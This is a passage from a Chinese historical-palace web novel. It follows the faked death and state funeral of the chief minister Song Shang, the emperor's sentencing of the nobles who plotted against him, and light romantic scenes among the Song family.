宋锦狠狠瞪了他一眼,重新拿了个杯子给自家娘亲倒上茶水 期间,牛铁兰一句话不说,任由父女俩斗法,平静地就像山涧幽兰,静谧恬静 宋行之四个人将三人的动作收入眼底,面面相觑下,神色越发慎重小心,站在那里一动不动,就跟插在地里的木杆似的 直到曲茂泽淡淡开口:“四位宋公子果然孝顺,宋大人在天之灵若是知道,定会为你们骄傲的” 宋行之心中一沉,看着曲茂泽那张和自己相仿年纪的脸,忍不住上前一步:“家父虽然出事,但是一日未寻到尸体,就一日尚活” 曲茂泽夸道:“宋大公子的孝顺之情可以理解,但是这么久了,若宋首辅真还活着,也早就回来了,四位还是要节哀” 宋行之脸逐渐绷起,神色复杂地看着曲茂泽,求证一般:“他真的不回来了?” 曲茂泽感叹一声:“节哀” 换个人在他们面前说这种话,宋行之他们绝对会愤怒让人不得好死,但轮到曲茂泽了,一个个沉默了下来,局促迟疑,看起来就像是被抛弃的家犬一般,莫名可怜 牛铁兰看着他们这般,到底于心不忍 来永安城的这段时间,兄弟几个对母女俩一直敬重,衣食住行一向都是最高规格,现在又算得上正经小辈 “人没了,总有尸骨吧?那么多人找了这么久,就不能是被有心人抓走?或者说”牛铁兰放下茶杯,轻嘲,“自己走了,背地里谋划什么?” 曲茂泽噙着笑,淡定得像个无事人,笑:“可能是没找到?虽然,这么久了连尸体都找不到” 他看着那边五个人,轻飘飘:“真废物” 站着的四人,还有已经醒了但是不敢面对真想的宋慎之:…… 宋锦啃着蜜饯:“那你觉得应该在哪里?我之前还跟着转了一圈,没看到啊” 曲茂泽立马换了副笑,温柔道:“真粗心” 宋锦翻了个白眼:“别恶心人了,在哪儿” 曲茂泽轻笑:“这么多人找了这么久都找不到,我如何得之?” 宋锦拳头都硬了,敲了敲桌子 砰砰砰的,牛铁兰无奈摇头,按住她的手,转头:“那你觉得,会在哪里?” 曲茂泽:“唉,你们可真会让我为难啊” 宋锦瞪眼:“到底说不说?” 曲茂泽不说话,悠悠地拿着牛铁兰的杯子喝着茶水,悠闲得好像这事和他毫无关系似的 宋锦捏起拳头,是真的想要揍人了 牛铁兰看看这个看看那个,再瞥着那边眼巴巴看着她们,看起来都要碎了的兄弟几个,伸手恰了恰曲茂泽的胳膊,嗔怒:“能不能好好说话?” 曲茂泽顺手握住她的手,放在膝盖上,在她微恼的目光下,悠悠:“尸体在水中会浮起,这么久没看到定然不在里面,周边更无可能,只能在悬崖上” 宋锦看着他的手眯着眼,很想上去直接给扳断,还是忍住,道:“悬崖上下都找过了” 曲茂泽轻笑:“是吗?确定,悬崖上都找过了?” 他在上一字咬了咬 宋锦白眼:“都说了找了找了,找了很多遍了,悬崖上的树都快给他们拔了” 曲茂泽但笑不语 在地上躺着的宋慎之却是一下站了起来,深深地看着换了个人的曲茂泽,屈膝重重跪下,磕了个重重的头,随后大步朝着外面走去 宋行之几人紧跟其后,一个个跪下,又一个个离开 踉踉跄跄的,看上去格外悲怆 而曲茂泽坐在那儿,悠悠喝茶,一个正眼都不带给 这次,轮到牛铁兰瞥着他,轻声嘲讽 “无情的人” 曲茂泽轻捏她的手腕,静静看着她,慢条斯理:“不及你” …… 宋锦看着他们俩‘眉来眼去’,翻了个大大的白眼,干脆也站了起来,大步跟上被深深刺激到的兄弟几人 她倒是要看看尸体藏哪里了 第97章 荒谬,简直荒谬 庆安二十年九月十八 首辅宋商,卒,时年四十,尸骨现于崖壁松石之下 身前文韬武略,惮赫千里,身后与松为伴,傲骨铮铮 …… “首辅宋商与朕一同平前朝惑乱,建新朝,在朝二十年,他对外扩漠北,通八外海,十三外国。对内平岭南,安漠北,利水渠,分田户,大衍二十三郡,郡郡皆有他策……” 朝堂之上,齐晔身着金黄龙袍站在高台上,神色沉重,悲痛地陈诉这些年与宋商的过往 高台之下,所有朝臣比起往日后退一台,将最前面留给一具庄肃的金丝楠木棺 金棺大开,里面是一尊皮肉干涸的骨架,往日白皙的皮肤尽晒,变成干皮,紧紧贴在股价智商,还能依稀看出他往日的风采,却再没了往日的威慑 几百人持续几月不间断的搜寻,却因为车架尸骨在谷底,遍寻上下河流周边,忘了悬崖崖石之上,尸骨的位置刚好在上方的通风口处,藏匿于一处石块之内,因是为了躲避追兵暂时藏匿,却失了意识 最终他还是没有逃离险境 无论什么人,死去了就只是死去 站在第一排的人,看着这位曾经的‘旧友’,内心都带着伤痛唏嘘 纵使这些年下来,他们这群曾经的生死之交早在各种政见下渐行渐远,很多时候都恨不得这位老友早日‘离去’,这种时候也不免想起往日和谐时的回忆 宋商此人,神机妙算,智勇双全,百步穿杨又能言会道,一通诡辩之力让人恨的牙痒痒的 但是他们也从没想过谋害他,最起码现在还能站在原地的人如此 朝臣的占位都是固定,他们一转头,就能一眼看清楚前面的空位 有官员也有侯爵 这五日下来,永安城百姓惶惶不安,就是官吏皇族也一个个心惊胆颤,生怕这场抓捕牵连到自己 现在抓捕结束,他们松了口气的同时,却更是毛骨悚然 这场关于宋首辅的绞杀,从一品公爵,再到二品大臣,几乎囊括了各个品级的人,他们一点点牵起巨网,合力造成了宋商的‘死’ 他们成功了,宋商死了 他们也失败了,因为他们也要死了 齐晔说完宋商的种种,再看着底下的尸棺,一滴泪从眼角落下 “朕永远失去宋爱卿了” 他神色悲痛,又一点点转换为愤怒,一把砸翻桌上堆满的奏折,声音沉沉 “你们总说宋商一意孤行,自私偏激,只手遮天,长期下来会让社稷不稳。那你们又有谁,有谁能说出宋商危害百姓的一件事,就一件事,说” “皇上息怒” “皇上保重身体” 天子一怒,伏尸百里 齐晔是个讲道理的明君,自然不会如此,但是他也是个货真价实皇帝,平日很少正经发火 但是一怒,百官畏惧 齐晔看着下面人,看着那一个个空缺,又看着最前面永远会空缺的位置,怒不可遏,随手捡起一张刚才被掀倒的奏折 “户部尚书这些年兢兢业业,一时糊涂,罪不至死” “宋首辅之事令人惋惜,但是因他一人起如此纷乱,影响朝廷安稳” “以大局为重” …… 齐晔一开始怒意还在脸上,读到最后,面上已经没有愤怒的情绪,看起来却更有威势,不怒自威,冷冷地看着底下的朝臣 那些个写奏折的人此刻大部分瑟瑟发抖,但是依然有坚定之辈 “秉陛下,宋首辅一事自然让人痛心,但此事牵扯太大,这样下去不仅伤了陛下朝廷脸面,更让社稷不稳啊。这么多大臣出事,空缺该如何?手上任务又如何,后续交接……” 御史大夫站了出来,一脸痛心:“英国公确实罪该万死,但是他和宋商私怨颇深,这些年一直因为老国公的事斗气,这才一时冲动。他们因为上一辈的恩怨造就惨剧,难道还要下一辈的人继续吗?英国公府延续三百余年,全府五百余人,您真的要,一点情面不留?当初若不是老英国公,永安城内还不知会造就多少惨案” “我看赵大人也是年纪大了”宋行之站了出来,手持玉笏,平日风流翩然之色消散,声色俱厉,“说话前言不搭后语,上一辈的恩怨不要牵扯下一辈,那我爹之事你如何解释?不牵连下一代,你又要留下他们,怎么,是觉得我们都是白眼之辈,不记仇?杀人偿命,杀朝廷一品大员,也只是个人偿命,那你们这些人倒是看看,有几条人命够我兄弟五个索的” 赵御史怒:“你什么意思?区区小儿,不过三品官员就感 当朝威胁于我们,简直猖狂” 宋慎之阴测测出头:“还有我呢?我是二品大将军,赵御史觉得我说话够意思吗?区区小儿,我们区区小儿都位超于你,说明我们厉害,那你一把年纪才这般,只知道倚老卖老胡搅蛮缠,是不是该退位让贤?” 吏部尚书出声:“猖狂,你们真以为现在到这地步,有几分靠你们?若不是宋商,你们几个造就冻死街头,哪有机会在这放肆” 往日最沉默话少的宋顺之从后走了上来,面无表情:“你说我们靠爹,那我请问,吏部尚书的三个儿子不上朝,是因为他们不努力,还是你这个当爹的不行?” 吏部尚书恼羞:“荒谬,简直荒谬,不谈功绩,当众比爹,宋商就是这般教你们的?” 宋行之冷笑:“杀父之仇,劝人放下,吏部尚书你爹就是这么教你的?” 宋慎之:“我看你爹该是活佛转世,被杀了也要劝你们放下,不对,他应该是有人过来直接把鸡脖子上去让人看,再跪下喊两声爹” 吏部尚书气得发抖,抓着胡子半天说不出话 宋顺之静静:“我看您年纪也大了,实在不行就退了吧,免得日后倒在地上,还以为陛下苛待老人” …… 兄弟三个互相配合着,几个六十上下的老头们气得全都发抖 毕竟,他们三人年轻,脸皮厚,家里没了的也就棺里的这位,上无长辈,下无儿女,随便怎么办怎么威胁,光棍一条。这些个老头就不行了,他们一个个拖家带口,但凡被骂被威胁一个人都是他们的心头肉 软肋太多了,完败 宋锦站在侯爵位,看着那群老头摇摇欲坠的模样,一点尊老爱幼的情绪都没有,探着脑袋,用内力暗戳戳:‘他们这战斗力,感觉不行啊’ 齐铮回:‘以往宋首辅在时,场面更甚’ 不然他真不至于被这么多人恨得牙痒痒,那是真的以一抵十,还给按得死死的 宋商在位二十年,所有想干的事,就没有完不成的 有时候看似他输了,但是仔细一理,就发现他本来的意图就是如此,就更让人跳脚了 他这人,意见不和,斗,意见和,还是斗 忒难缠 兄弟三个确实出众,但是比起他还是差了不少,至少他们现在力压其他人,很大原因是,很多人也站在他们兄弟之后 大部分人虽然与宋商不和,但他们也是响当当的正直之臣,平日有些私心,大义上还是很好 宋商虽然可恶,但是他实为一品大臣,被人算计谋杀,那些动手的人自然该按着律法过来 便是动手的人是国公,也该如此 不然一品大臣遇刺都这样放下,他们这些人日后如何放心进言? 虽然这一来,朝廷之前多年的平衡瞬间被打破了,但是再破碎,也不会比起宋商一人独领风骚来得差 更何况,现在证据确凿,他们说再多都无用,真正做决定的人,是最上面的那一位 他的心偏在哪一方,哪边就赢 朝堂之上,半数人保持中立,半数人相劝,但是证据确凿,很多人家自己都说不得清白,被轻轻放过,多少都有收到警告,更不敢这个时候站出来 于是,在这种单方面的嘴炮之下,宋行之兄弟三人以压倒性的胜利气晕几个老头,等待最后的审判 朝堂上一点点静了下来,最后鸦雀无声 宋锦也老实站在位置上,看着高台之上的齐晔 他面色沉凝,看着底下的人似悲似喜 平稳有时候是好事,但是太平稳了,最后只会是一片死水 宋商走了,这个情况只会越发严重,好在,他留下了五个孩子,各个出色,在各方能顶一片天,马上春闱在即,又有新的人手能够跟上 到时 齐晔目光看向另一边亲王侯爵之处 他的好大儿端正站立,在一众自小锦衣玉食的侯爵亲王之间就是那竹林里最秀丽的那一棵,高大笔挺 就是后面那护着的是谁呢? 齐晔有些心塞,想到了上次两人的笔录,又是翻越城墙,又是喝酒打猎,又是靠树而眠的,就算是和宋商多年老友,他也必须说 快把你家死丫头拉走,他家的小白菜青翠细嫩,不合适啊 本来就一个文盲苗子,再来一个超级文盲苗子,两个人凑一起 齐晔已经眼前一黑了,他心一塞,脸上的神情越发悲痛,那发自内心的悲痛,看得人也跟着有些心酸 宋锦感叹:‘他们感情还真好啊’ 她倒是没有这么深刻的友情 她和舒城浩关系确实不错,但是两个人也就狐朋狗友,在闯祸玩耍上很合得来,再多的她天天打架窜山,打虎抓熊,他连大鹅都打不过 真的很难感受齐晔这种志同道合、惺惺相惜 虽然这只是他们的谋划 但是圣旨一宣,墓碑一立,其他人一抓,宋商这个人这个身份确实消散于人间了 齐铮怅然:‘宋首辅,大义’ 没两个人做得到放弃一切重头开始,尤其是到了宋商这一步 齐铮其实觉得没这个必要 现在大衍朝国泰民安,虽有不少势力扰乱,在背后蠢蠢欲动,但是慢慢处理就是了,这般激进的一网打尽 除了他们的雄志,更多的,还是宋商想走了 二十年的压制,二十年日复一日上朝,二十年面对那些个老不死的,他早就觉得无趣极了 在这个时间点脱身,是最合适的 …… 扔下那个身份,在其他人早早起床登上朝堂,在那里吵来吵去心惊胆战的时候 曲茂泽坐在摇椅上,右手端着热茶,左手持一本游记,轻轻翻动树叶,头上树叶轻轻飘下,他顺手接住,卡在书页之间,继续看着看 不急不慢,悠悠闲闲的 牛铁兰从屋内出来,看着就在门口坐着的人,见他这般悠闲,莫名烦躁:“你没院子住吗?” 曲茂泽轻笑:“这不是等夫人起床吗?睡醒了?有没有哪里不舒服?” 牛铁兰烦:“金金呢?” 曲茂泽合上书,端着茶杯过去,轻言:“来,喝口茶消消火,大早上的,开心一点,心情好,身体也好” 牛铁兰平日性子安静,心态也好得很,但是一看到这人就忍不住火气上头,烦得很,她想把茶水打倒,但是一看那奇奇怪怪的颜色,就知道又是药了,咬着牙接过咽下 瞬间,她的脸皱了起来,差点吐了出来,又捂住嘴咽下,瞬间,眼角就出了泪水 好酸 酸得她牙齿都要掉了 曲茂泽看着她皱脸翻白眼的模样,闷笑出声,带着些揶揄,又换了杯茶过去:“喝这个缓一缓” 牛铁兰牙都要掉了,想也不想一口干 还好,这一辈药水很是香甜,一下就缓解了嘴里的味道,带着暖意在体内乍开 牛铁兰深深吸了口气 虽然这人真的烦人,但是在给她治疗以上还是很尽心的,这段时间也血肉损耗不少,想到这里,她的神色淡了下去,有了那么丝丝的歉意 曲茂泽又笑:“刚才的味道你喜欢哪一个?都是一样的药,喜欢哪个后面做哪个” 牛铁兰吸着的气梗在心头 一个甜滋滋,一个酸死人,这需要试吗? 这人就是故意的 牛铁兰看着他勾起的嘴角,一脚踹了过去,恼怒:“曲茂泽你一天不折腾会死啊” 曲茂泽哈哈笑了出来,就着靠在一旁的柱子上,抱着手里的书,冲着她轻轻招手:“来看看这个” 他穿着明蓝色衣服,披着白色披风,头上束着蓝色玛瑙发冠,噙着笑靠在柱上,像极了大户人家意气风发的贵公子,俊朗明逸 看起来光风霁月 牛铁兰却警惕了起来,毕竟这人真的,很欠啊 曲茂泽不在意,摆手:“看看这个,南双郡,双河县有山,山里有瀑,如天上来,瀑里有金蛟,跃龙门” 牛铁兰还是狐疑,不过听到蛟、龙这种,还是忍不住好奇,走到他的旁边,看着那游记 上面写的确实是如曲茂泽所念,不过在后面,又标记 行至,亲见,金蛟硕大,一人粗,乃金蟒。蟒皮做箱,蟒肉味腥粗糙,亏 牛铁兰嘴角一抽,没好气地瞪了瞪他:“无聊” 曲茂泽轻笑一声,从书页里翻出蝶翅,足有牛铁兰巴掌大,五彩瑰丽,在阳光下翻着光,他用一白纸背着,没一会儿上面就印出了彩虹之色 他勾唇:“当地叫这玉桥蝶,它们成群飞舞,生存之地周围全是彩虹,尤其喜欢飞在瀑布之上,那场面,甚美” 牛铁兰想象不出那么画面,她垂眸看着手上的蝴蝶,哦了一声,抿着嘴把蝴蝶放了回去 有什么好炫耀的 曲茂泽伸手戳了戳她微鼓的脸 牛铁兰恼怒拍下:“别动手动脚” 曲茂泽动了动手,轻轻嘶了一声 牛铁兰恼意瞬间消失,担心地拉过他的手,掀开袖子,里面皮肤玉白无瑕,没有之前的血肉淋漓,甚至没有一丝疤痕,自然不可能是被拍到伤口疼的 曲茂泽悠悠:“嘶,牙有点疼,昨天糖吃多了” 牛铁兰深吸一口气,咬牙切齿:“要不要我给你拔了?” 曲茂泽:“也行?那你先帮我看看” 说着,他弯下腰,张开嘴 他的牙齿整齐,牙片偏薄,比一般人更洁白,里面别说是断牙残片,更是一个黑点都没有 也是,他就是玩虫子的,哪儿可能会被虫子蛀牙啊 牛铁兰忍无可忍,杏眸一瞪,凑过去轻轻呸了一下,然后拎起裙子就跑 曲茂泽滞在原地,伸手抚了抚干燥的唇瓣,倏的一笑,把书扔到椅子上,慢条斯理地跟了上去 “干了坏事就跑,不太好吧” …… 第98章 两个蠢货 这边曲茂泽悠悠闲闲享受生活,那边朝堂又吵了起来 宋锦打了个哈欠,继续和齐铮说着小话:‘他们不累吗?这事都这样了,他们谁说赢了就按着谁的判?’ 齐铮上朝也大半年了,从一开始的迷迷糊糊,到现在基本上能看懂他们的弯弯绕绕,他道:‘会有一定影响,父皇虽为皇上,但是很多时候也要服理,若是大部分人都不服,便是今日强行定下,明日也会重新提起’ 宋锦嘴角一抽:‘可真累,他可是皇上哎,前朝那死皇上干那么多荒唐事怎么没见人反对?’ 齐铮无奈:‘事不同人不同,父皇真要和那时候一样,百姓日子也不会现在这般了’ 皇权至上不假,但多少还是会有些制约的,尤其是齐铮是个明君,想要国富民安,那就少不了清官明吏,而这些人,各执己见,很难达成统一 同一个时间 他们一个要先弄田,一个非要行路,另一个觉得官为重,还有又觉工为先 若是有好坏还好,偏偏都是好的,又不能同时并举,就得靠他们先吵出个一二,齐晔再酌情考虑先哪个 宋锦看着那些吵来吵去的人,又翻了个白眼,在那里嘀嘀咕咕:‘吵吵吵,真轮到他们自己被暗杀了,我就不信他们一个个还会考虑这么多了,不诈尸出来把人掐死就好了,一群言行不一的蠢货、智障、狗都不吃……’ 齐铮耳边传来她不断的碎碎念念,他在心里无奈叹气,面色还是不变,一副庄肃的模样,肉眼看过去,就是一副不动声色的模样,让人很难看出他心中所想 身侧的其他三位王爷神色明灭 首辅刺杀一事,真按照律法来算的话,涉及到会被处死的官吏都上百,算上其家属奴仆,加起来影响的上千人 普通人不说了,那些官员空位,还有后续接班,手中需要处理的案子项目 耽搁确实不少 现在朝堂上争来争去,一部分人确实觉得影响太大了,一次性处死这么多人,空了太多位置出来容易给有心人算计,再一个,兔死狗悲,好些人手上也说不得干净,互相拉扯一下,以后到自己了也有些香火情 还有一部分就纯利益 尤其是对于晋王和理王势力下的人来说,这次事情影响可太大了 在齐铮回来之前,三个王爷势均力敌 但是仔细看 老大恭王和老三理王作为王爷,姻亲自然都是聪慧伶俐的贵女,一个是出了两朝太傅,甚至两个皇后的袁家,另一个更是户部尚书嫡女, 亲父皆为封侯,能力半斤八两,亲母算是北地大家族,但是放眼天下来看,就普普通通了 但是晋王,岳家是唯二的国公府之一的英国公府不说 在母族上,他亲娘出自江南郑氏,乃江南三大族之一,底蕴颇深,家里姐妹众多,其中姐妹就嫁入永安城 其一是宣平侯府,现任宣平侯常文山就是晋王表弟,之前又和礼部尚书之女杨彦珺联姻,势力不可小觑 其二是敬忠将军,现在的卫下内府中郎将,沾亲带故的,大义时候不说,平日肯定是站自家人这一边 在这么多后台之下,再加上三个王爷中他最为灵活,平日幕僚众多,济灾民、督工程、抓逃犯,手上还是小有成绩,在齐铮回来之前,他一直都是立太子的热门人选,他自然也不用着急 毕竟其他两个王爷,论人才比不上他,论势力也差他一筹,他对于立太子很有信心——齐铮不回来的话 他一回来,齐晔的注意力全都落在他身上了,明里暗里意思也很明显 有亲生儿子,他为什么要立其他的? 如果只有齐晔一人想立他,此事还有回转,但宋商也有此意 他面对其他王爷皇子的招揽不动于衷,软硬不吃,偏偏他就是对齐铮这个什么也不懂的野小子另眼相待 所以他必须死 他死了 晋王理王有机会上台 户部尚书有机会进内阁夺首辅之位 他们意见达成了统一,谋划了这场天衣无缝的刺杀,还雇了武林高手和江湖人人合作,就是为了确保这次刺杀成功。 他们成功了,宋商死得不能再死 但是他们也暴露了 几个人绞尽脑汁也想不通,这件事怎么就暴露了? 而且还是因为宋锦的事 这件事一开始真的和他们没关系啊 谁会在意候巧荷那么个商户女啊 只不过英国公世子因为宋锦丢了大人,对她一直怀恨在心,眼看着她被状告杀人,就想给她个教训,在其中加了火,动了探子——也就是春鸢,本意是按死宋锦,毁了她这个没有定数的郡主,免得他们行动受限 谁知道宋锦这疯丫头大半夜不在家里呆着,跑到外面山里打猎去了,还和齐铮那个野小子一起,真不愧是两个乡里来的,没一点儿规矩 眼看着藏了很久的探子直接废了,宋锦安然无恙,这已经很气人了,哪知道后面戴氏兄弟突然矛头就转向了自家 候巧荷竟然没有死,戴氏兄弟好大的胆子竟然敢报假状,竟然还敢把目标直接指向他们家,偏偏候巧荷还真在他们 家地窖,仰武也是他们的人,又被抓起就自尽了,让他们跳进黄河也洗不清 英国公府和尚书府是什么心情他们不知道,反正晋王和理王已经快要气吐血了 阴谋,绝对是针对他们的阴谋 但是,又会是谁呢? 宋家?不可能,他们兄弟几个若有这个本事,能查到这些证据这些人,早就像疯狗一样和他们拼了,不至于到现在才来 若说其他的 晋王和理王非常怀疑是恭王,这事情闹出来,只有他们两受影响很大,只有他毫发无损,坐收渔翁之利 可他又不该有这个脑子啊 晋王理王想不通,但是也没办法,就像当日宋锦被状告一般 人证物证俱在,他们拿不出证据来,甚至事情就是他们干的,他们也无法狡辩,只能找人松动这件事情,尽量保下英国公府和尚书府,不说保住位置,但是起码保住命和其他人啊 若真被抄家,又被流放了,他们两个王爷的里子面子才真的是丢大了 不止他们不愿意,后面的人也不同意,眼看着其他人说来说去,依旧没有说动人,公爵这一侧有人站了出来 “陛下不看以往的情面,就不看看晋王理王的面子吗?” “陛下,他们也是你看大,是你的孩子啊” …… 眼看着其他人败下阵来来,晋王理王亲爹站了出来,替英国公府、户部尚书说话 他们要替自己儿子保住岳父 虽然齐晔态度明显,但是只要他一日不立太子,只要一日他一日不死,齐铮一日不登基,他们就还有希望 这个天下,当初若不是身后有他们齐家,他能顺利登基吗? 现在想过河拆桥 他们不同意 一个个老熟人跪下 晋王亲父齐阳云,明忠候 理王亲父齐兴腾,镇江候 他们一个是齐晔名义上的九堂哥,一个是十二堂弟,两人都在当初攻打前朝之时都立了大公,便是齐晔对齐家人再是厌恶,也还是论功行赏,给了他们侯爵的称号 只要他们好好安分下来,齐晔也并不是一定要把以前的事情都拉出来,偏偏他们得寸进尺,一个个非要把儿子往他这边凑,便是死了那么多人,还是要送过来 也是,他们这些个人哪儿会缺儿子? 他们又如何懂父子母子亲情? 齐晔看着他们的嘴脸,又想到了那年风雪下,他冒着生命危险为齐家驻兵护送粮草,等到回来的时候,却只等到他娘野地的棺墓 那柔弱的妇人,硬生生扛了一月的风寒,最后入了肺成肺痨,死在那个冬夜。但凡齐家当时有一点儿良心,给她请个靠谱大夫,给她拿药,她又如何会不到四十便离世?若他们但凡讲点情面,给她一尊好墓,让她走得体面,他又如何会耿耿于怀到现在? 齐晔又看到那年,他离开齐家,在外有了府邸钱财队伍,他们又是如何以阿妹的性命逼他另娶他人,让人抑郁多年 他又看到他们在那年如何害他丢失麟儿,致使阿妹最终抑郁而终,现在人回来了又是如何小动作不断 他倏而一笑:“九哥,十二弟说得是,若不是你们说起来,我还忘了他们。都说天子犯法与庶民同罪,老二老三,你们怎么看这话?” 晋王和理王:…… 他们能怎么看啊? 这天子犯法能和庶民一样吗?这不是开玩笑嘛 那些个庶民,他们一套衣服都能买他们的命了 晋王心里不屑 奈何他们这次招惹的不是庶民,而是宋商 一个庶民的命能随意压下,一个首辅的命,他们只能想法子拉开 晋王思索着,跪地:“天子犯法都与庶民同罪,更别说其他人了,温尚书糊涂啊,他就算是觊觎首辅之位,想取而代之,也不能下这般狠手。老英国公德高望重,当初毅然决然顶着的压力大开城门,避免了多少无辜的牺牲,后面因和宋首辅斗气一去不醒。温尚书怎么能利用这一点,让英国公府犯下如此滔天大错,他糊涂啊……” 理王听得目瞪口呆 说好的同一个阵营呢?感情就是说着玩的是吧? 遇上事就先甩锅 若真按着这下去,英国公府拿老英国公和老太君的面子还能保一保,户部尚书这边可死得不能再死了 理王一个跪地,想到之前户部尚书对嘱咐,也跟着哀嚎:“父皇,我错了,我不应该知错不报。早在上,上月,中秋之时间我就知道此事,你罚儿臣吧,儿臣甘愿受罚” 晋王心中一个咯噔 此事定没有这么简单 果然,齐晔沉沉的声音传来:“你又如何知晓?” 理王磕头,泪流满面:“那日中秋,我突然想去拜访,就发现温尚书一脸醉意,在燃纸祭拜宋首辅,口中说着,说着对不起宋首辅,他不该因为听信英国公府的挑拨,只以为是给他一个教训,缺害得他,孩儿知错,温尚书也知错。但是父皇,英国公府狼子野心啊……” 晋王:“住口,污蔑,明明是温尚书想取代宋首辅” 理王:“分明英国公府狼子野心,那么多人那么多牵扯,温尚书一个尚书,哪里做得到?” …… 两个人当庭就吵了起来,想把责任推到对方那边 齐阳云和齐兴腾气得胸口发疼 两个蠢货,他们怎么会有这么两个蠢货啊 明明来之前都说好了,把这次的责任往底下人还有宋家身上推,把事情扩大,说之以理晓之以情,先推迟一下,保住几个人,以后再慢慢的来 现在两个这么一弄,他们暂时的结盟直接崩掉,两边的人看向对方都充满警惕,也不可能在回到之前的和气了 齐阳云和齐兴腾气得发抖,还是当机立断,跟着把责任往对方身上推 宋锦看得差点没笑出来了:‘不是,他们怎么各说各的啊?是一伙人吗?’ 齐铮也微微勾起嘴角,回:‘自然是,不过二哥三哥自小过继到父皇这边,有专门的人教育,年幼时少有和外面接触的机会,而明忠候和镇江侯也有其他爱子,虽然利益结合,但是总有桎梏’ 就比如,几个王爷也会担心,若是他们坐上了皇位,到时候亲父亲母那边是否会因其他兄弟而起其他心思,相比之下,他们自然更信任岳家 少加挑拨,就是如此 齐铮感叹:‘宋首辅理应再做二十年首辅的’ 宋锦白眼:‘我算是明白了,你就是宋首辅的脑残粉’ 虽然不知道脑残粉是什么意思,但应该不是个什么好词 齐铮解释:‘宋首辅,确实厉害’ 宋锦知道人厉害,但一点不妨碍她烦这人,冷笑:‘是厉害,一来就给我弄牢里去了,可不是厉害嘛’ 真以为她傻啊,小东西随便乱扔就算了,匕首也用一次扔一次? 那狗东西,肯定就是那天治戴元华的时候拿了她的匕首 好气啊 那老妖怪 齐铮无言以对,只能保持沉默,在心里为曲茂泽默哀 看样子他的认亲之路,还有很长的距离要走 两个人又停了说小话,继续看着那边你来我往的推卸责任 高台之上,齐晔的神色也越来越冷,越来越沉,随着他脸色变动,下面吵得厉害的几家人也一点点安静下去,额间出了冷汗 他们刚才都说了些什么来着? 但是他们说了什么已经不重要了 齐晔冷冷看着底下这些跪地的人上,想到宋商经常说他心软,他当时还想,他有什么好心软的?他若是心软,齐家那些人会是现在的地步?百官会如此听话? 但是现在看,他确实心软,他若是不心软,这些人也不至于现在就算着他死了都时候 他今年才五十出头,身体健壮,最起码还能活个十年,这些人就当他快死了啊,分阵营倒是分得快 齐晔冷笑一下,沉沉:“都是朕的好儿子啊,既然你们都认识到自己的错了,就先做个表率吧。晋王和理王知情不报,即日起,降为郡王,取消英国公府爵位,从此以后,英国公、户部尚书以及所有动手之人,处以极刑,英国公府所有人贬为庶民,各府户在府中的人,全部流放漠北……” 齐晔沉沉宣判,可以说不留任何情面,也可以说,是他在明面上宣判了晋王和理王的出局 从王爷到郡王,差的可不是一点半点 至少以前,他们与齐铮是平礼,日后再见,却得行礼了 晋王和理王面色一变,立马想要求情 齐晔沉声:“英国公和温尚书所作所为证据确凿,除却谋害宋首辅一事,还有这些年所犯其余罪行,罪行累累,令朕大开眼界。念在他们往日也算兢兢业业,现也领罪,朕想着就不一一展示了,也给他们留点脸面” 晋王和理王到嘴的话咽了下去 他们不确定那里面还有没有他们的把柄 ,若没有,对他们无益,若有 两个人思索许久,目光对视,带着多年的默契 “儿臣,领旨” “父王英明” …… 朝散,英国公府和尚书府众人的命运已然定下 宋行之等人依旧笑不出来 他们站在朝堂最前方,看着已然干枯的尸身,便是知道这并不是宋商,依旧笑不出来 棺盖轻轻合上,代表着宋商的一切,都随着尸骨成为过往,史书往后,不会再留下他的一字一句 孙公公带着人过来,轻声:“三位大人,陛下派我助你们将宋大人送回” 宋行之手抚在那金贵的金丝楠木上,扯扯嘴角:“无需,我们亲自将爹带回家” 孙公公迟疑:“棺木重,三位大人” 宋慎之摆手,沉声:“无需多言,我们可行” 宋顺之没有说话,已经起了一边的挑棍放到肩上 这具金丝楠木棺重达千斤,三个人挑,属实有些难度,但是好在,宋安之和宋清之虽不参朝,却也在殿外等待 兄弟五个合力,将棺木挑起,一步步朝着殿外走去 麻带束额,红衣飞扬 周围大臣还未散去,三三两两站在一边,看着他们兄弟五人挑着棺,心中有些唏嘘,也有藏不住的艳羡 宋商虽去,但是五个孩子,都是一等一的人才啊 想着,他们忍不住移过目光,看向那边红衣少女,看着她,他们仿若看到了他转世的模样 一个模子刻出来的 面对那些人若有若无的目光,宋锦双手抱在胸前,有些烦躁:“他们看我干什么啊,这么想看,开棺材看人呗” 齐铮没有说话,默默地从兜里掏出麻带递给她 宋锦瞪眼:“什么意思啊?他们要这么把人扛回去是他们的事,跟我有什么关系啊,很重的哎,我一个弱女子” 齐铮没有说话,拿起麻带,轻轻替她捆在额头上 宋锦鼓嘴:“你又不是不知道” 那玩意儿是假的哎,就算是真的,跟她也没什么关系啊 齐铮静静地看着她 宋锦垮了肩膀,嘟囔:“真的要啊,感觉好蠢啊” 齐铮眼中闪过笑意,轻轻拍了拍她的额头,轻声:“去吧,我在旁边跟着” 宋锦瞪他:“你跟不跟关我什么事啊,而且你倒好,你是跟着,我可是要扛着,那玩意儿你知道多重嘛,我真是倒霉,唉,好烦,欠了他的了……” 她站在那儿抱怨一堆,最后深深叹气,蔫着脑袋慢吞吞朝着前面的棺木走去,又一点点加大步子,大步流星上前,接过最前面的木棍,对着兄弟五个眉眼微横,凶巴巴 “真是欠你们的了” 五兄弟见此,轻轻扬起嘴角 棺木停下,又再次启程,沿着正殿台阶一步步向下,从正宫门走出 红衣金棺木 身后百官随行 …… 庆安二十年九月 大衍第一首辅宋商,卒 与此同时,朝廷百官缺失,急开科举,以其四十诞辰,十一月九日定科考 第99章 巧了,她也是 “她还没起来?” 太阳高挂枝头,破开清晨的寒霜,带来了一丝温暖 十月中旬,秋日走向尾声,马上迎来冬日,大街小巷的行人都添上了衣服,家家户户开始准备炭火度过漫长的冬日 牛铁兰以前一直都在南边,天气湿热,从没见过雪,但是在永安城,每当冬季的时候总会有一个月的漫长雪季,尤其是今年,肉眼可见地会迎来大雪 她准备出去逛一逛添置点东西 虽然宋家什么都不缺,想要什么都直接让人送最好的上门,但是最好的,不一定是最喜欢的,她近一个月时间很少出门,现在身子骨稍微好些了,也想出去走走 再加上,今日是那些人流放的日子,她们就约好了今天出门凑个热闹 眼看着人都要出城了,宋锦的房门依旧紧闭 牛铁兰蹙着眉,打开了门往里 宽敞的房间里有呼吸声,人在屋里 还好,牛铁兰松了口气,往里面走些,人好好的躺在绵软的床上,睡姿一如既往地乱七八糟 